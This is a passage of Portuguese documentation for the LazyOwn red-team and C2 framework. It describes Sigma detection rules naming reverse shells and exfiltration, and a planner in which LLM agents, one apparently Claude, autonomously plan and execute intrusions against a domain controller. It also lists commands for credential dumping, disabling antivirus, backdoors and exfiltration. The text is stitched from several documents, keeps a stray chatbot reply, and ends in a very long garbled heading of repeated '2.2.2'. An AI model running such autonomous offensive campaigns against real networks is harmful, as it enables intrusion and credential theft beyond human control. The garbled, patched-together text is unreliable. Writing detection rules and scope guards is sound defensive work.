| `redteam_hunt` | Padrões de caça a ameaças |
| `sigma_rules` | 10 regras Sigma (mimikatz, reverse shell, privesc, nmap, webshell, /etc/shadow, cron, SMB, exfil, injection) |
**Motor de detecção de regras Sigma** (LazyOwnBT `lazyownbt/detection.py`):
| ID | Regra | Nível |
|----|------|-------|
| LAZYOWN-001 | Mimikatz Credential Dump | critical |
| LAZYOWN-002 | Reverse Shell Pattern | critical |
| LAZYOWN-003 | Privilege Escalation via Sudo | high |
| LAZYOWN-004 | Nmap Scan Detected | medium |
| LAZYOWN-005 | Webshell Execution | critical |
| LAZYOWN-006 | Process Injection | high |
| LAZYOWN-007 | /etc/shadow Access | critical |
| LAZYOWN-008 | Cron Persistence | high |
| LAZYOWN-009 | Lateral Movement SMB | high |
| LAZYOWN-010 | Data Exfiltration | high |
**Arquivos de saída:**
- `sessions/purple_dataset.csv` — Conjunto de dados de treinamento ML
- `sessions/purple_audit.jsonl` — Log de auditoria completo
- `sessions/detection_feedback.jsonl` — Calibração do oráculo
**Nota:** Para uso em produção, integre com um SIEM real (Wazuh, Elastic SIEM, Splunk) via encaminhamento de logs do auditd. As regras Sigma integradas são apenas para testes offline.
### Hive Mind — `skills/hive_mind.py`
Arquitetura multiagente rainha+drone com memória compartilhada:
- **QueenBrain** (Claude): orquestração de alto nível + ConsensusProtocol para ações de alto risco
- **DronePool** (Groq/Ollama): execução paralela de tarefas de recon/exploit/cred/lateral/privesc
- **HiveMemory**: ChromaDB semântico + SQLite episódico + armazenamento de longo prazo em Parquet
- **EpisodeReflectionEngine**: extração de lições pós-campanha armazenadas como `sessions/campaign_lessons.jsonl`
### Autonomous Campaign Intelligence (ACI) — `skills/aci_planner.py`
**O primeiro framework C2 que planeja, executa e aprende de forma autônoma.**
O ACI preenche a lacuna entre um objetivo de engajamento em linguagem natural e um loop de execução totalmente autônomo. Nenhum concorrente (Cobalt Strike, Sliver, Havoc, Metasploit) faz isso de ponta a ponta:```
Operator: "Compromise the domain controller at corp.internal
starting from a phishing foothold on 10.10.11.5"
↓
ACI Planner ──► MITRE ATT&CK decomposition (LLM-backed, static fallback)
recon → exploit → exec → privesc → cred → lateral → report
↓
ObjectiveStore ─► 20+ concrete objectives injected into sessions/objectives.jsonl
↓
auto_loop / autonomous_daemon ─► executes each objective autonomously
↓
ACIEngine monitors ─► detects stalled phases (blocked_count ≥ 3)
↓
ACIReplan ──► LLM generates alternative techniques for blocked phases
↓
ACIReflector ──► appends lessons to sessions/campaign_lessons.jsonl
feeds back into the next engagement
Três ferramentas MCP:
| Ferramenta | O que faz |
|---|---|
lazyown_aci_plan | Decompor um objetivo → plano ATT&CK → injetar objetivos |
lazyown_aci_status | Detalhamento de fases ao vivo, % de conclusão, recomendação de replanejamento |
lazyown_aci_replan | Forçar replanejamento adaptativo quando estagnado; gera lições automaticamente |
Início rápido:```python
lazyown_aci_plan( goal="Compromise the DC at corp.internal", target="10.10.11.5", scope=["10.10.11.0/24"], domain="corp.internal", os_hint="windows", )
lazyown_auto_loop(target="10.10.11.5", max_steps=20)
lazyown_aci_status()
lazyown_aci_replan(reason="Kerberoasting blocked by AV, try AS-REP roasting")
**O que torna o ACI único em relação a outras ferramentas:**
- Cobalt Strike / Sliver / Havoc são frameworks C2 — o operador planeja cada passo
- Metasploit tem automação mas não tem inteligência
- CALDERA emula procedimentos fixos do ATT&CK mas não consegue se adaptar a ambientes novos
- **O ACI planeja, executa, replaneja e aprende — continuamente, entre engajamentos**
**Persistência:**
| Arquivo | Conteúdo |
|------|----------|
| `sessions/aci_plan.json` | Plano ativo: fases, objetivos, estado de conclusão |
| `sessions/aci_history.jsonl` | Planos concluídos/abandonados arquivados |
| `sessions/campaign_lessons.jsonl` | Lições extraídas pelo ACIReflector |
**Uso da CLI (standalone):**```bash
python3 skills/aci_planner.py plan "Compromise DC" --target 10.10.11.5 --os windows
python3 skills/aci_planner.py status
python3 skills/aci_planner.py replan "technique blocked"
python3 skills/aci_planner.py reflect
skills/autonomous_daemon.pyQuatro funções asyncio em um único processo — sem necessidade de Claude entre as etapas:``` Role 1 — ObjectiveLoop : watches objectives.jsonl, takes + executes Role 2 — ExecutionEngine : 6-layer cascade per step, RL Q-table feedback Reactive → Parquet → Bridge → SWAN(MoE+RL) → LLM → Fallback Role 3 — WorldModelWatcher : graph centrality + pivot candidate tracking Role 4 — DroneCoordinator : hive drone spawning on recon/cred/service findings
Ative o SWAN no daemon: `export AUTO_USE_SWAN=1` antes de iniciar.
O ACI alimenta o daemon: os objetivos injetados por `lazyown_aci_plan` são captados
automaticamente pela Role 1 (ObjectiveLoop) — nenhuma configuração adicional é necessária.
### Raciocínio Baseado em Grafos — `modules/world_model.py`
O NetworkGraph rastreia todos os relacionamentos descobertos (hosts, serviços, credenciais, caminhos de confiança) e calcula a centralidade de grau normalizada para destacar candidatos a pivô. Os 3 principais candidatos são injetados em cada chamada de `to_context_string()`, garantindo que o loop autônomo sempre saiba quais são os alvos de movimento lateral de maior valor.
## Guarda de Escopo de Autorização
Um framework de red-team que lê seu alvo de `payload.json` tem um fio da navalha:
um `rhost` perdido dispara comandos ofensivos contra um host não autorizado. A guarda de escopo
é a rede de segurança. Todo comando interativo passa por um único ponto de estrangulamento
que verifica o alvo ativo contra o escopo de engajamento autorizado antes que o
comando seja executado.```bash
(LazyOwn) > scope add 10.10.11.0/24 # CIDR, bare IP, hostname, or *.corp.local wildcard
(LazyOwn) > scope add dc.corp.local
(LazyOwn) > scope mode enforce # off | warn (default) | enforce
(LazyOwn) > scope # show current scope and posture
off,
para que as campanhas existentes não sejam afetadas até você optar por participar. Qualquer erro interno
permite o comando em vez de bloquear o operador.warn anota comandos ofensivos fora do escopo; enforce os bloqueia
pendente de confirmação explícita (e recusa em sessões não interativas).do_* são classificados automaticamente.payload.json (scope, scope_enforcement); a lógica pura vive em
cli/scope_guard.py com zero acoplamento ao shell.As dependências são declaradas uma vez em pyproject.toml (fonte única de verdade) e
fixadas para instalações reproduzíveis:
requirements.txt — lock principal multiplataforma (sem wheels CUDA).requirements-ml.txt — opcional, stack de ML pesada (torch/CUDA, scikit-learn).install.sh é executado em modo estrito e é idempotente. A instalação padrão
é leve; opte por extras com --with-ml (stack de ML de 2 GB), --with-ollama
(runtime de LLM local) e --with-tools (binários externos comuns).pip install -e .[ml,dev].Ctrl+K), dicas reativas inline após cada comando e um dashboard TUI em Textual.yara_marketplace (10 regras integradas: ransomware, C2, webshells, ofuscação, privesc), nuclei_marketplace (500+ templates), marketplace para plugins/addons da comunidade — todos navegáveis via TUI curses.auto_pwn percorre as fases da kill-chain automaticamente, hunt executa descoberta direcionada com base em TTPs conhecidas.auto_crypto criptografa arquivos de sessão sensíveis ao sair e descriptografa na inicialização (PBKDF2HMAC + Fernet), transparente para o operador.dlopen. API datap compatível com código-fonte e contrato BOF do Windows. Syscalls diretas e suporte a io_uring.sessions/captured_images.lazynmap.
cron para agendar e automatizar tarefas, permitindo simulações de ameaças persistentes.
/addons no dashboard do C2 para criar integrações lazyaddons/*.yaml sem tocar em YAML manualmente. Um formulário expõe todas as opções de addon (nome, descrição, autor, versão, habilitado, SO alvo, serviços de gatilho, categoria, tipo de módulo, tipo de instalação, parâmetros, bloco de ferramenta, extras do C2, variáveis de ambiente) com tooltips, placeholders e ajuda por campo. Chips de placeholder ({rhost}, {url}, parâmetros declarados e cada chave do payload.json) são arrastáveis e soltáveis nas caixas de comando. A validação do lado do servidor rejeita nomes inseguros, path traversal, placeholders desconhecidos e URLs malformadas antes que o arquivo seja escrito; as escritas são atômicas e seguras (arquivo temporário criado com permissões restritivas via mkstemp + fchmod, flushed e fsynced, depois promovido com os.replace). As páginas de lista e pré-visualização de YAML completam o ciclo de vida. Toda rota de mutação é protegida por CSRF. Contrato: lazyc2/addon_creator.py + lazyc2/blueprints/addons.py, coberto por tests/test_addon_creator.py e o gate de mutação tests/run_mutation_addon_creator.py..pdfx) e incorpora ícones personalizados via rsrc para engenharia social convincente.
modules/killchain.py calcula a fase; cada superfície (CLI /killchain,
/api/killchain, C2 /api/data+/api/dashboard, painel GUI2) renderiza seu
snapshot()./api/beacon_results/<client_id>,
suportado por modules/beacon_history.py (JSONL, path-safe)./killchain auto on|off|N atualização automática ao vivo; flags
killchain_auto_every / killchain_auto_on_phase_change.Navegue, pesquise e instale a partir de uma TUI de marketplace unificada:
yara_marketplace list|search|install|info -- 10 regras integradas (ransomware, C2, webshells, ofuscação, privesc)nuclei_marketplace list|search|install|info -- 500+ templates de ~/nuclei-templatesmarketplace list|search|install|update -- 137 addons YAML, 57 plugins, 69 ferramentasauto_pwn -- percurso autônomo da kill-chain de recon até exploraçãohunt -- recon informado por ameaças: mapeia TTPs conhecidas para serviços descobertosCriptografia transparente de sessão na saída / descriptografia na inicialização via PBKDF2HMAC + Fernet.
7 perfis APT: Azure Graph API, CICD Poisoning, Entra Connect, macOS TCC, OAuth Token Theft, SCCM/MECM, VDI Breakout.
chainmode on inicia um fluxo de encadeamento orientado por modelo de mundo: após cada comando
o shell oferece próximos passos classificados (Enter = sugestão principal, 1..N = alternativa
classificada, qualquer comando = substituição, skip = manual, ESC/Ctrl+C/off =
sair). Escolhas inválidas solicitam novamente em vez de pular silenciosamente, e o fluxo
pausa automaticamente após max_steps comandos encadeados. O estado persiste em
sessions/chain_mode.json (escritas atômicas). Contrato: cli/chain_mode.py +
cli/command_chain.py.
[0, 99], nunca um 100% desonesto), razão e proveniência. Contrato:
cli/reactive_hints.py + cli/recommendation_signals.py.cli/tips_engine.py.cli/noise_verbs.py é a fonte única de verdade para as listas de verbos não acionáveis
compartilhadas por dicas, tips e modo de encadeamento.core/api_authz.py agora implementa a janela de
carência de rotação documentada, copia permissões da chave rotacionada (regressão
corrigida), retorna JSON 401/403 (seguro com TRAP_HTTP_EXCEPTIONS), e o
endpoint C2 /api/health/tenant é realmente aplicado. Gate de mutação:
tests/run_mutation_api_authz.py (7/7 mortos).core/logging.py install_json_handler preserva handlers pré-existentes
e é idempotente.Primitivas de segurança centralizadas em core/hardening.py com 48 testes estilo BDD
(tests/test_security_hardening_v3.py). Execute com:```bash
pytest tests/test_security_hardening.py tests/test_security_hardening_v2.py tests/test_security_hardening_v3.py -v
mutmut run # 122/228 killed, 53.5% kill rate on core/hardening.py
**Principais correções aplicadas:**
- `shell=True` eliminado de `anti_forensics.py`, `pivoting.py`, `icmp_server.py`, `resource_script.py`, `command_executor.py`, `postexp_migrated.py` (22 instâncias)
- `os.system()` eliminado de `persist_migrated.py`, `cloud.py`, `lazyown.py` (4 instâncias), `misc_migrated.py`
- `os.popen()` eliminado de `websocket_beacon.py`, `evasive_payload.py`
- `sshpass -p` substituído por `sshpass -e` + variável de ambiente em 4 arquivos (C2, lateral, exfil, persist)
- Chave de criptografia hardcoded removida de `phishing_orchestrator.py` (ENCRYPTION_KEY obrigatória)
- XSS no banner do C2 corrigido com `html.escape()`
- Injeção de comando via rhost na área de transferência corrigida com `safe_clipboard_copy()`
- cmd2 `CMD_ATTR_HELP_CATEGORY` renomeado para `COMMAND_ATTR_HELP_CATEGORY` (compatibilidade com cmd2 4.2.2)
---
## Capacidades de Comandos
O LazyOwn fornece 741 comandos em 13 fases da kill-chain, disponíveis tanto na CLI quanto no dashboard web do C2:
| Fase | Comandos em Destaque |
|-------|-------------------|
| Recon | `lazynmap`, `ping`, `whatweb`, `gobuster`, `ffuf`, `dig`, `dnsenum`, `finalrecon` |
| Enum | `enum4linux`, `cme`, `bloodhound`, `nuclei`, `kerbrute`, `ldapdomaindump` |
| Exploit | `auto_pwn`, `hunt`, `ss` (searchsploit), `venom`, `lazymsfvenom`, `searchhash` |
| Post-Exploit | `linpeas`, `winpeas`, `blacksandbeacon`, `mimikatzpy`, `disableav` |
| Persistência | `persist`, `backdoor`, `cron`, `schtask`, `createwebshell` |
| PrivEsc | `getcap`, `sudo`, `adcs_check`, `privesc_predictor` |
| Acesso a Credenciais | `secretsdump`, `evil`, `getnpusers`, `hashcat`, `john`, `spraykatz` |
| Lateral | `psexec`, `wmiexec`, `ssh_cmd`, `chisel`, `ligolo`, `bloodhound` |
| Exfil | `exfil`, `upload_gofile`, `encrypt`/`decrypt`, `compressdir` |
| C2 | `lazyc2`, `blacksandbeacon`, `createrevshell`, `listener_go` |
| Relatórios | `report`, `lazyreport`, `campaign_sitrep`, `timeline`, `dashboard` |
| IA/Agentes | `auto_loop`, `recommend_next`, `playbook_generate`, `playbook_run`, `orchestrate` |
| Marketplace | `yara_marketplace`, `nuclei_marketplace`, `marketplace`, `lab` |
Gerenciamento central: `assign`, `show`, `doctor`, `wizard`, `scope`, `collab_join`, `config_banner`, `palette`, `fz`.
Consulte [`COMMANDS.md`](https://github.com/grisuno/lazyown/blob/main/COMMANDS.md) para a referência completa dos 606 comandos e [`ESSENTIALS.md`](https://github.com/grisuno/lazyown/blob/main/ESSENTIALS.md) para os 18 comandos que cobrem 80% dos engajamentos.
# Estendendo o LazyOwnShell com Plugins Lua
Este documento explica como usar scripts Lua para estender a funcionalidade da aplicação `LazyOwnShell`, que é construída sobre o framework `cmd2` em Python. O Lua permite escrever plugins personalizados que podem adicionar novos comandos, modificar comportamentos existentes ou acessar dados da aplicação.
---
## Índice
1. [Introdução](#introdução)
2. [Configurando Plugins Lua](#configurando-plugins-lua)
3. [Escrevendo Plugins Lua](#escrevendo-plugins-lua)
4. [Registrando Novos Comandos](#registrando-novos-comandos)
5. [Acessando Dados da Aplicação](#acessando-dados-da-aplicação)
6. [Tratamento de Erros](#tratamento-de-erros)
7. [Plugins de Exemplo](#plugins-de-exemplo)
8. [Boas Práticas](#boas-práticas)
---
## 1. Introdução
A aplicação `LazyOwnShell` suporta scripts Lua para permitir que os usuários estendam sua funcionalidade sem modificar o código Python principal. Os scripts Lua (plugins) são armazenados no diretório `plugins/` e são carregados automaticamente quando a aplicação inicia.
Os plugins Lua podem:
- Adicionar novos comandos ao shell.
- Modificar comandos ou comportamentos existentes.
- Acessar e manipular dados da aplicação expostos pelo Python.
---
## 2. Configurando Plugins Lua
Para usar plugins Lua, certifique-se do seguinte:
1. Instale a biblioteca `lupa` no seu ambiente Python: ```bash
pip install lupa
plugins/
init_plugins.lua
hello.lua
goodbye.lua
Quando a aplicação inicia, ela executa init_plugins.lua, que carrega todos os outros arquivos .lua no diretório plugins/.
Estrutura de um Plugin Lua ```lua -- Define a function for the new command function my_command(arg) -- Your logic here print("This is a new command: " .. (arg or "default")) end
-- Register the function as a command
register_command("my_command", my_command)
Funções Principais
- register_command(command_name, lua_function):
- Registra um novo comando no shell.
- command_name: O nome do comando (por exemplo, hello).
- lua_function: A função Lua a ser executada quando o comando é chamado.
3. Registrando Novos Comandos
Para adicionar um novo comando ao shell, siga estes passos:
- Defina uma função Lua que implemente a lógica do comando.
- Use register_command para registrar a função como um comando.
- Exemplo: Adicionando um comando hello
- Crie um arquivo plugins/hello.lua com o seguinte conteúdo: ```lua
function hello(arg)
local name = arg or "world"
print("Hello, " .. name .. "!")
end
register_command("hello", hello)
Agora, você pode executar o comando hello no shell:
bash hello Lua Hello, Lua!
4. Melhores Práticas
Ao aproveitar a scriptagem Lua, você pode estender a funcionalidade do LazyOwnShell sem modificar o código Python principal. Isso permite maior flexibilidade e personalização, possibilitando que os usuários escrevam seus próprios plugins para atender a necessidades específicas. Bom código!
Estender as capacidades do LazyOwn RedTeam Framework nunca foi tão fácil, mesmo para não-programadores, graças ao sistema LazyAddons que permite estender funcionalidades usando arquivos YAML.
Criação declarativa de comandos através de arquivos de configuração YAML.
lazyaddons/ ├── addon1.yaml ├── addon2.yaml └── example.yaml
name: "shortname" # CLI command (do_shortname) enabled: true description: "Tool description for help system"
tool: name: "Full Tool Name" repo_url: "https://github.com/user/repo" install_path: "tools/toolname" execute_command: "python tool.py -u {url}"
Configuração Avançada```yaml
params:
- name: "url"
required: true
description: "Target URL"
default: "http://localhost"
- name: "threads"
required: false
default: 4
Recursos Instalação Automática As ferramentas são clonadas do Git quando ausentes:```bash git clone <repo_url> <install_path>
Substituição de Parâmetros
Substitui {param} em comandos por valores de:
- Argumentos do comando
- Valores padrão
- self.params
- Integração de Ajuda
help <command> exibe a descrição YAML.
Template```yaml
name: ""
enabled: true
description: ""
tool:
name: ""
repo_url: ""
install_path: ""
install_command: "" # Optional
execute_command: ""
params:
- name: ""
required: true/false
default: ""
description: ""
▶️ Uso Coloque arquivos YAML em lazyaddons/
Inicie sua aplicação CLI
Execute os comandos registrados:```bash (Cmd) help your_command (Cmd) your_command -args
🚨 Solução de problemas
Parâmetros ausentes: Verifique os campos obrigatórios no YAML
Falhas de instalação: Verifique o acesso à rede/git
Erros de comando: Valide a sintaxe de execute_command
Principais recursos:
- Markdown limpo no estilo GitHub
- Focado apenas em addons YAML
- Inclui templates prontos para uso
- Documenta o sistema de substituição de parâmetros
- Fornece dicas de solução de problemas
Gostaria que eu adicionasse exemplos específicos ou cenários de uso?
LazyOwn no Reddit
Revolucione Seus Pentests com o LazyOwn: Automatize a intrusão em VÍTIMAS Linux, MAC OSX e Windows
<https://www.reddit.com/r/LazyOwn/>
<https://github.com/grisuno/LazyOwn/assets/1097185/eec9dbcc-88cb-4e47-924d-6dce2d42f79a>
Descubra o LazyOwn, a solução definitiva para automatizar o fluxo de trabalho de pentest para atacar sistemas Linux, MacOSX e Windows. Nossa poderosa ferramenta simplifica o pentest, tornando-o mais eficiente e eficaz. Assista a este vídeo para saber como o LazyOwn pode otimizar suas avaliações de segurança e aprimorar seu kit de ferramentas de cibersegurança.```sh
LazyOwn> assign rhost 192.168.1.1
[SET] rhost set to 192.168.1.1
LazyOwn> run lazynmap
[INFO] Running Nmap scan on 192.168.1.1
...
LazyOwn é ideal para profissionais de cibersegurança que procuram uma solução centralizada e automatizada para as suas necessidades de pentesting, poupando tempo e aumentando a eficiência na identificação e exploração de vulnerabilidades.
Python 3.x
Módulos de Python:
subprocess (incluído na biblioteca padrão do Python)
platform (incluído na biblioteca padrão do Python)
tkinter (Opcional para a GUI)
numpy (Opcional para a GUI)
2. Instale as dependências do Python:```sh
./install.sh
```sh
./run or ./fast_run_as_r00t.sh
./run --help [;,;] LazyOwn vvvrelease/0.2.8 Usage: ./run [Options] Options: --help Show this help panel. -v Show version. -p <payloadN.json> Exec with different payload.json example. ./run -p payload1.json, (Special for RedTeams) -c Exec a command using LazyOwn example: ping --no-banner No Banner -s Run as root --old-banner Show old Banner
./fast_run_as_r00t.sh --vpn 1 (the number id of your file in vpn directory)
## 4.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.